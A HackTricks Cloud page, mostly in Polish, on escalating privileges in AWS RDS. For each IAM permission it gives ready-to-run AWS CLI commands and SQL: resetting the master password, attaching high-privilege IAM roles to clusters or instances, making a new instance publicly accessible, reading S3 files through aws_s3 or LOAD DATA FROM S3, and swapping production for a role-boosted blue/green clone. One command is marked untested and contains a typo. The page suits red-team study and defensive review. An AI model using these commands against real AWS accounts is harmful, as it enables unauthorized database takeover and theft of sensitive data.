AWS - RDS Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
RDS - Relational Database Service
Aby uzyskać więcej informacji o RDS, sprawdź:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Dzięki temu uprawnieniu atakujący może zmodyfikować hasło użytkownika głównego, oraz login w bazie danych:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Będziesz musiał mieć możliwość połączenia się z bazą danych (zwykle są dostępne tylko z sieci wewnętrznych).
Potential Impact: Odszukanie wrażliwych informacji wewnątrz baz danych.
rds-db:connect
According to the docs a user with this permission could connect to the DB instance.
Nadużycie uprawnień roli RDS IAM
Postgresql (Aurora)
Tip
Jeśli uruchamiając
SELECT datname FROM pg_database;znajdziesz bazę danych o nazwierdsadmin, wiesz, że jesteś w AWS postgresql database.
Najpierw możesz sprawdzić, czy ta baza danych była używana do dostępu do innych usług AWS. Możesz to sprawdzić, patrząc na zainstalowane rozszerzenia:
SELECT * FROM pg_extension;
Jeśli znajdziesz coś takiego jak aws_s3 możesz założyć, że ta baza danych ma jakiś rodzaj dostępu do S3 (są też inne rozszerzenia, takie jak aws_ml i aws_lambda).
Również, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters możesz tam zobaczyć, czy klaster ma przypisaną jakąkolwiek IAM Role w polu AssociatedRoles. Jeśli tak, możesz założyć, że baza danych była przygotowana do dostępu do innych usług AWS. Na podstawie nazwy roli (albo jeśli możesz uzyskać uprawnienia roli) możesz zgadnąć, jaki dodatkowy dostęp ma baza danych.
Teraz, aby odczytać plik wewnątrz bucketu musisz znać pełną ścieżkę. Możesz go odczytać za pomocą:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Gdybyś miał raw AWS credentials mógłbyś też użyć ich do dostępu do danych S3 za pomocą:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql nie musi zmieniać żadnej zmiennej grupy parametrów aby móc uzyskać dostęp do S3.
Mysql (Aurora)
Tip
W instancji mysql, jeśli uruchomisz zapytanie
SELECT User, Host FROM mysql.user;i jest użytkownik o nazwierdsadmin, możesz założyć, że jesteś wewnątrz AWS RDS mysql db.
W instancji mysql uruchom show variables; i jeśli zmienne takie jak aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role mają wartości, możesz założyć, że baza danych jest przygotowana do dostępu do danych S3.
Również, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters, możesz sprawdzić, czy klaster ma jakąś powiązaną rolę, co zwykle oznacza dostęp do usług AWS).
Teraz, aby przeczytać plik w bucketcie musisz znać pełną ścieżkę. Możesz go przeczytać za pomocą:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Atakujący posiadający uprawnienia rds:AddRoleToDBCluster i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. To może pozwolić atakującemu na uzyskanie dostępu do danych wrażliwych lub modyfikację danych wewnątrz instancji.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Potencjalny wpływ: Dostęp do danych wrażliwych lub nieautoryzowane modyfikacje danych w instancji RDS.
Należy pamiętać, że niektóre DBs wymagają dodatkowej konfiguracji, na przykład MySQL, który wymaga także określenia ARN roli w grupach parametrów.
rds:CreateDBInstance
Posiadając tylko to uprawnienie, atakujący może utworzyć nową instancję w istniejącym klastrze, który już istnieje i ma przypisaną rolę IAM. Nie będzie w stanie zmienić hasła głównego użytkownika, ale może być w stanie udostępnić nową instancję bazy danych w internecie:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO: Przetestować
Atakujący posiadający uprawnienia rds:CreateDBInstance i iam:PassRole może utworzyć nową instancję RDS z dołączoną określoną rolą. Następnie atakujący może potencjalnie uzyskać dostęp do wrażliwych danych lub modyfikować dane w obrębie instancji.
Warning
Some requirements of the role/instance-profile to attach (from here):
- The profile must exist in your account.
- The profile must have an IAM role that Amazon EC2 has permissions to assume.
- The instance profile name and the associated IAM role name must start with the prefix
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Potencjalny wpływ: Dostęp do danych wrażliwych lub nieautoryzowane modyfikacje danych w instancji RDS.
rds:AddRoleToDBInstance, iam:PassRole
Atakujący posiadający uprawnienia rds:AddRoleToDBInstance i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. Może to pozwolić atakującemu na dostęp do danych wrażliwych lub modyfikację danych w tej instancji.
Warning
Instancja DB musi znajdować się poza klastrem, aby to zadziałało
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Potential Impact: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
Atakujący posiadający te uprawnienia może sklonować bazę danych produkcyjną (Blue), przypisać klonowi rolę IAM o wysokich uprawnieniach (Green), a następnie użyć switchover, aby zastąpić środowisko produkcyjne. Pozwala to napastnikowi podnieść uprawnienia bazy danych i uzyskać nieautoryzowany dostęp do innych zasobów AWS.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Potencjalny wpływ: Pełne przejęcie produkcyjnego środowiska bazy danych. Po przełączeniu baza działa z podwyższonymi uprawnieniami, co umożliwia nieautoryzowany dostęp do innych usług AWS (np. S3, Lambda, Secrets Manager) z poziomu bazy danych.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

